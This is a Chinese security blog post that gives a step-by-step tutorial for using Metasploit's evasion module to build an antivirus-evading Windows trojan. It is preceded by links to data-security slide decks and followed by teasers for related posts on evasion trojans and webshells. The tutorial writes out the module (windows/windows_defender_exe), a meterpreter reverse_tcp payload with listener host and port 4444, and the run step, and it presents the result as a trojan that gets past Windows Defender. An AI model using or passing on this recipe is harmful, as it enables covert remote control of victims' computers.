利用Metasploit制作免杀木马

2024-06-29 21:28:10

请大家认真选择投票项，后续更新以此作为依据。

今日更新PPT内容11个,内容：数据安全，

CASB保护零信任环境的数据安全实践：

https://www.secshi.com/39625.html

以数据为中心的人工智能时代数据安全和隐私保护战略动力-GDPR的影响和对策:https://www.secshi.com/39547.html

数据安全的冰与火之歌从 GDPR 看企业数据安全合规建设：https://www.secshi.com/39457.html

业务流量数据安全应用实践：https://www.secshi.com/39409.html

企业数据安全合规之路：https://www.secshi.com/39203.html

业务数据安全实践：https://www.secshi.com/39189.html

攻防对抗中数据安全的持续优化：https://www.secshi.com/39175.html

加快工业互联网数据安全能力建设切实护航我国制造业高质量发展：https://www.secshi.com/39153.html

AiLPHA大数据安全分析应用于医疗网络安全闭环的实践：https://www.secshi.com/39145.html

数据安全的若干误解：https://www.secshi.com/39115.html

数据安全保障工程：https://www.secshi.com/39113.html

前言

Metasploit 5.0的时候更新一个Evasion模块,这个模块能非常快捷的生成反杀毒软件的木马,注意!低于5.0以下的版本是没有Evasion模块的,所以需要手动更新Metasploit

Metasploit更新

如果是使用kail的同学就直接使用msfupdate就能进行更新,如果是使用别的系统的小伙伴就请进入到Metasploit目录下面的bin目录下面,运行msfupdate

利用

打开metasploit

查看evasion模块

这里我们选择第五个模块

use windows/windows_defender_exe

查看需要配置的参数

show options

可以看到只有一个文件名的参数可以配置,我们就修改为shell.exe吧

紧接着我们要配置回显payload

set payload windows/meterpreter/reverse_tcp
set lhost you-ip
set lport 4444

使用exploit或者run 执行

看到回显信息我们可以看到木马存放在/root/.msf4/local/下面
我们来检测一下免杀效果

来自安全师作者GEIT,博客地址:http://www.geit.work/

利用Metasploit制作免杀木马相关推荐

利用kali Linux使用meterpreter制作免杀木马测试入侵windows电脑
前言:常规使用meterpreter制作木马时会被各大杀毒软件所拦截,固本文介绍一下利用meterpreter下的Venom制作免杀木马. 首先安装Venom Venon克隆地址:https://gi ...
Metasploit——msfvenom免杀木马
msfvenom命令的参数 Options:-l, --list <type> # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platfo ...
Web渗透之MSF框架——msfvenom与免杀木马制作
文章目录生成常见的反向连接木马反向连接的优势: Windows: Linux: MAC: PHP: Asp: Aspx: msfvenom参数介绍生成免杀木马 360免杀木马腾讯管家免杀木马 ...
绕过杀毒软件，免杀木马制作
绕过杀毒软件,免杀木马制作(以AVG Anti Spyware杀毒软件为例) 一.将Sever.exe打开,分块生成100个文件二.使用AVG Anti Spyware查杀生成的文件,再二次处理,重 ...
偷工减料制作自己的免杀木马 6月11日更新（秒杀主流11款杀软）
很多新手在为能有一个免杀木马头疼,也相信很多人在饭客论坛上等待别人更新免杀,可是刚拿到手不久就又被杀了,呵呵,这里告诉大家一个小秘密,偷工减料得到免杀木马噢,而且不会被杀... 饭客论坛经常更新免杀, ...
实战： unicorn生成免杀木马，绕过win10防火墙和windows defender
实战: unicorn生成免杀木马,绕过win10防火墙和windows defender 简介原理步骤攻击总结简介随着操作系统的安全等级越来越高,对能免杀,无视防火墙的木马需求也越来越高 ...
【免杀】————2、php免杀木马的思路
一般的,利用能够执行系统命令.加载代码的函数,或者组合一些普通函数,完成一些高级间谍功能的网站后门的脚本,叫做 Webshell. 本篇文章主要探讨关于 PHP 语言的 Webshell 检测工具和平 ...
使用Bypass_AV-main进行免杀木马
项目地址:https://github.com/Axx8/Bypass_AV 生成shellcode,ip与端口替换将生成的shellcode复制下来放入项目中的py文件将shellcode复制到 ...
利用Metasploit制作PDF木马
实验环境:kali-linux虚拟机(攻击机).win7虚拟机(靶机) 实验工具:Vmware.kali-linux的iso 之前做了一个视频发现无法上传,此处就发一些过程截图吧. 实验过程: 一.攻 ...

最新文章

热门文章